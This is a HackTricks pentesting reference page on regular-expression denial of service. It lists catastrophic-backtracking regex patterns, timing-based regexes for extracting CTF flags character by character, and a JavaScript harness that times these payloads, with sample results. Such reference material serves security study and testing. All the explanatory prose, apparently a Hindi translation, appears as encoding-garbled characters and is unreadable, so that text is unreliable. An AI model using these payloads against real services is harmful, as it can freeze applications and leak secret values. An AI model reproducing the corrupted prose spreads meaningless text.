hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

8.3 KiB

Regular expression Denial of Service - ReDoS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Regular Expression Denial of Service (ReDoS)

рдПрдХ Regular Expression Denial of Service (ReDoS) рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ (рдкрд╛рда рдореЗрдВ рдкреИрдЯрд░реНрди рдЦреЛрдЬрдиреЗ рдФрд░ рдореЗрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛) рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред рдХрднреА-рдХрднреА, рдЬрдм рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдмрд╣реБрдд рдзреАрдореА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╡реЗ рдЬрд┐рд╕ рдкрд╛рда рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИрдВ рд╡рд╣ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдзреАрдорд╛рдкрди рдЗрддрдирд╛ рдмреБрд░рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдкрд╛рда рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рдЫреЛрдЯреЗ-рдЫреЛрдЯреЗ рдмрдврд╝реЛрддрд░реА рдХреЗ рд╕рд╛рде рддреЗрдЬреА рд╕реЗ рдмрдврд╝рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдРрд╕рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред

The Problematic Regex Na├пve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Evil Regexes

рдПрдХ рдмреБрд░реА рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкреИрдЯрд░реНрди рд╡рд╣ рд╣реИ рдЬреЛ рдирд┐рд░реНрдорд┐рдд рдЗрдирдкреБрдЯ рдкрд░ рдЕрдЯрдХ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ DoS рд╣реЛрддрд╛ рд╣реИред рдмреБрд░реА regex рдкреИрдЯрд░реНрди рдЖрдорддреМрд░ рдкрд░ рд╕рдореВрд╣ рдХреЗ рд╕рд╛рде рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдпрд╛ рд╡реИрдХрд▓реНрдкрд┐рдХрддрд╛ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд▓реИрдкрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╣реЛрддреА рд╣реИрдВред рдмреБрд░реА рдкреИрдЯрд░реНрди рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

рдпреЗ рд╕рднреА рдЗрдирдкреБрдЯ aaaaaaaaaaaaaaaaaaaaaaaa! рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред

ReDoS Payloads

String Exfiltration via ReDoS

рдПрдХ CTF (рдпрд╛ рдмрдЧ рдмрд╛рдЙрдВрдЯреА) рдореЗрдВ, рд╢рд╛рдпрдж рдЖрдк Regex рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА (рдзреНрд╡рдЬ) рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рдлрд┐рд░, рдпрджрд┐ рдПрдХ Regex рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ рддреЛ рдирд╣реАрдВ рддреЛ рдкреГрд╖реНрда рдХреЛ рдлреНрд░реАрдЬ (рдЯрд╛рдЗрдордЖрдЙрдЯ рдпрд╛ рд▓рдВрдмреЗ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдордп) рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдЖрдк рдПрдХ-рдПрдХ рдХрд░рдХреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
  • Example: ^(?=HTB{sOmE_fl┬зN┬з)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд ReDoS рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрдирдкреБрдЯ рдФрд░ regex рджреЛрдиреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Tools

References

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}